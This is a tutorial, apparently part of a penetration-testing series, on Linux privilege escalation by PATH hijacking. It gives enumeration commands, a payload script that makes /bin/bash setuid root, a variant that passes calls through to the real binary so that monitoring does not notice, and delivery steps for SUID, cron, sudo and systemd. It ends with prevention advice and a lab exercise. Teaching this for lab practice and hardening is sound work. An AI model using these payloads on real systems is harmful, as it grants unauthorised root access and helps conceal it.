Linux Privilege Escalation: PATH Hijacking

This guide generalizes something your SUID guide (Section 8) and Cron Jobs guide (Section 7) both already showed you a specific instance of — a privileged process calling a command by **bare name** instead of full path, letting an attacker who controls `$PATH` resolution substitute their own binary. Those were PATH hijacking applied through SUID and cron contexts specifically; this guide is the general technique itself, plus the other contexts (sudo, systemd services, arbitrary privileged scripts) where the exact same gap shows up. Worth locking in the distinction immediately: **Part 1 covers how `$PATH` resolution actually works and where the exploitable gaps come from — Part 2 covers the specific exploitation contexts and payload construction techniques**, since PATH hijacking's mechanics stay constant but the way you deliver and trigger it varies meaningfully by context.

---

1. How PATH Resolution Actually Works — The Foundation

When a shell or program is told to execute a command by **name only** (not a full path — `tar`, not `/bin/tar`), the resolution process searches through each directory listed in the `$PATH` environment variable, **in order**, and executes the FIRST matching executable it finds:

```
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bi
n

which tar
/usr/bin/tar    # ← the first /bin or /usr/bin match found
while
                    # walking $PATH left to right
```

The single fact every technique in this guide exploits — if ANY directory earlier in `$PATH` than the legitimate binary's real location is writable by an attacker, placing a malicious file with the SAME NAME in that earlier directory

causes it to be found and executed FIRST, silently, by anything relying on bare-name resolution — and if that "anything" is a privileged process, the malicious file runs with THAT process's privileges, not the attacker's own.

```
Legitimate resolution:  PATH search finds /usr/bin/tar (real tar)

Hijacked resolution:     PATH search finds /tmp/tar FIRST (attacker's
                           file), because /tmp appears BEFORE
                           /usr/bin in this particular $PATH ordering
                           - /usr/bin/tar is never even reached
```

PART 1: Where PATH Gaps Come From

2. Writable Directories Already Present in PATH

The simplest case — a directory that's ALREADY part of the target's `$PATH` (no modification needed) happens to be world-writable:

```
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null
```

```
Look specifically for directories with 'w' permission for "other" (world-writable) or
for a group your user belongs to - /tmp is occasionally, carelessly included directly
in a system or service $PATH, and is world-writable by default on most systems
```

3. Attacker-Controlled PATH via Environment Injection

If you can influence the `$PATH` environment variable a privileged process inherits — rather than finding an already-writable directory within an existing PATH — you can prepend your OWN directory ahead of the legitimate one entirely:

```
export PATH=/tmp/evil:$PATH
```

This is exactly the technique your SUID guide's Section 8 and Cron Jobs guide's Section 7 both demonstrated in their specific contexts — the general principle is: any time a privileged process's `$PATH` is influenced, directly or indirectly, by something the attacker controls, this entire technique category becomes viable.

4. Relative Path Execution — The "Dot in PATH" Variant

A related but distinct gap: if the current directory (`.`) is included in `$PATH` (historically common, now considered poor practice and rare on modern default configurations, but still found on legacy/misconfigured systems), simply placing a malicious file with a common command's name in ANY directory a privileged process might `cd` into and then run bare commands from is sufficient:

```
echo $PATH | grep -E '(^|:)\.(:|$)'
# if '.' appears anywhere in PATH, a malicious ls/cat/etc. dropped
# into whatever directory the victim process happens to be
# CURRENTLY WORKING IN when it runs a bare command will be picked
# up, regardless of where that directory sits relative to any
# fixed, explicit path entry
```

5. sudo's Preserved-PATH Misconfiguration

`sudo` normally resets `$PATH` to a safe, fixed value before executing the target command specifically to prevent this entire technique class — but a misconfigured `sudoers` file using `secure_path` incorrectly, or explicitly preserving the invoking user's environment via `env_keep += PATH` / the `!env_reset` sudoers option, reopens exactly this gap under sudo's elevated context specifically:

```
sudo -l
# look for:
#   Defaults    !env_reset       (environment NOT reset - dangerous)
#   Defaults    env_keep += "PATH"   (explicitly preserves attacker PATH)
```

PART 2: Exploitation Contexts & Payload Construction

6. Identifying What Bare Command a Target Actually Calls

Before crafting a payload, you need to know the EXACT command name a privileged process invokes without a full path — this requires either reading the target script/binary's source/behavior directly, or observing it dynamically:

```
strings /path/to/suid_binary | grep -v '^/' | grep -E '^[a-z]+$'
# heuristic: look for bare, lowercase, command-like strings NOT
# starting with a leading slash, among a binary's embedded strings

strace -f -tt -o trace.log /path/to/binary 2>&1
# look in trace.log for execve() calls WITHOUT a leading slash in
# the executed path argument

pspy   # (referenced in your Cron Jobs guide) - observe LIVE process
       # execution system-wide, including exact command lines used
       # by scheduled/triggered privileged processes
```

7. Constructing the Malicious Binary/Script

```
mkdir -p /tmp/evil
cat > /tmp/evil/service << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /tmp/evil/service
```

```
For a genuinely convincing hijack against a script that expects
the real command to actually DO its normal job (not just spawn a
shell and stop), consider having the malicious script perform its
payload AND then exec the real binary afterward, so the victim
process's overall execution doesn't visibly break:
  #!/bin/bash
  chmod u+s /bin/bash
```

```
  exec /usr/bin/tar "$@"     # pass through to the REAL binary,
                                # preserving normal functionality
```

8. Triggering Execution — Context-Specific Delivery

```
SUID binary context (per your SUID guide's Section 8):
  export PATH=/tmp/evil:$PATH
  /path/to/suid_binary          # run directly, in the SAME shell
                                  # where PATH was just modified

Cron job context (per your Cron Jobs guide's Section 7):
  drop the malicious file into the writable PATH directory, then
  WAIT for the schedule to fire - PATH modification here typically
  comes from the crontab's own PATH= declaration, not your shell's

sudo context (Section 5's misconfiguration):
  sudo /path/to/target_command    # PATH is preserved from YOUR
                                     # shell into the sudo-elevated
                                     # execution, so simply exporting
                                     # PATH beforehand is sufficient

systemd service context:
  if a service unit file's ExecStart calls a bare command name and
  the service's Environment= directive can be influenced (or the
  unit file itself is writable - see your Writable Files guide),
  inject PATH via the unit's environment configuration directly
```

9. Common Target Command Names Worth Testing First

```
Frequently invoked WITHOUT a full path by careless scripts/binaries:
  tar, cp, mv, cat, chmod, chown, service, systemctl, python,
  perl, curl, wget, git, docker, mysql

Worth testing hijacks against these specific names first when
enumerating a new target, since they appear disproportionately
often in real-world scripts compared to less common utilities
```

---

10. Testing Methodology

```
1. Check $PATH contents for writable directories (Section 2) and for a '.' entry (Sect
ion 4) as an immediate, low-effort first pass

2. Check `sudo -l` output specifically for env_reset/env_keep misconfigurations (Secti
on 5) if any sudo access exists at all

3. For SUID binaries and cron scripts already identified via your earlier guides in th
```

```
is series, revisit them SPECIFICALLY looking for bare command invocations (Section 6)
rather than assuming the earlier enumeration pass already caught this

4. Use strace/pspy (Section 6) to confirm the exact bare command name and calling cont
ext before constructing a payload

5. Build a pass-through payload (Section 7) rather than a pure shell-spawn payload whe
n the target process's normal function needs to appear to continue working, to avoid a
lerting anyone monitoring for broken scheduled jobs/services
```

11. Prevention

```
- Use FULL, absolute paths for every command invocation within any
  privileged script, service unit, or binary - the single, complete
  fix that eliminates this entire technique category regardless of
  context (repeated from both your SUID and Cron Jobs guides,
  because it is genuinely the correct fix in every case)
- Never include world-writable directories (especially /tmp) in
  any privileged process's $PATH
- Ensure sudo's env_reset default is NOT disabled, and avoid
  env_keep += "PATH" in sudoers configurations unless there is a
  specific, well-understood reason requiring it
- Remove '.' (current directory) from $PATH entirely on any system
  where it might still be present - modern shell defaults already
  exclude it, but legacy configurations should be explicitly audited
- Set explicit, minimal Environment= values in systemd unit files
  rather than inheriting a broader, potentially attacker-influenced environment
```

---

12. Practical Lab Example

```
This technique is best practiced as a DIRECT FOLLOW-UP to your
SUID and Cron Jobs guides' own lab exercises, rather than in
isolation - both already demonstrated PATH hijacking in their
specific contexts; this guide's exercise is about recognizing the
SAME underlying gap in a THIRD, less obvious context.

Suggested practice order:
1. Revisit your SUID guide's lab VM and construct a sudo
   misconfiguration (Section 5) instead - add an env_keep PATH
   entry to a test sudoers rule and practice the resulting hijack
2. Create a simple systemd service unit calling a bare command
   name, and practice both the strace-based discovery (Section 6)
   and the environment-injection technique (Section 8) against it
3. Compare all three contexts (SUID, cron, sudo/systemd) side by
   side and confirm the PAYLOAD construction (Section 7) and
   underlying gap are genuinely identical each time - only the
   DELIVERY mechanism changes
```

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-427 (Uncontrolled Search Path Element - the precise CWE for this entire technique), CWE-426 (Untrusted Search Path, closely related)
OWASP Top 10:2025	A02:2025 Security Misconfiguration
CVSS	High/Critical, identical profile to every other guide in this series so far, since the outcome is consistently full privilege escalation to root
Cyber Kill Chain	Privilege Escalation
MITRE ATT&CK	T1574.007 (Hijack Execution Flow: Path Interception by PATH Environment Variable) - its own dedicated sub-technique under the broader T1574 Hijack Execution Flow family

Quick Reference Cheat Sheet

```
FIND THE GAP:
  echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {}   → writable PATH dirs?
  echo $PATH | grep -E '(^|:)\.(:|$)'                  → '.' present?
  sudo -l                                                → env_reset/
                                                              env_keep issues?

FIND THE BARE COMMAND:
  strings binary | grep -v '^/' | grep -E '^[a-z]+$'
  strace -f -tt -o trace.log ./binary
  pspy   (system-wide, no-root-needed live process observation)

BUILD THE PAYLOAD:
  #!/bin/bash
  chmod u+s /bin/bash          # or your actual payload
  exec /usr/bin/realcommand "$@"   # optional pass-through

DELIVER:
  export PATH=/writable/dir:$PATH   → your shell / sudo context
  drop into PATH per crontab's PATH= line → cron context
  Environment= manipulation                → systemd context

Root lesson: this is the SAME gap you already exploited via SUID
and cron - a privileged process trusting bare-name command
resolution instead of an explicit path. This guide exists because
that gap recurs across MANY different privileged contexts, and
```

```
recognizing the pattern generically (rather than re-learning it per
context) is the actual transferable skill.
```
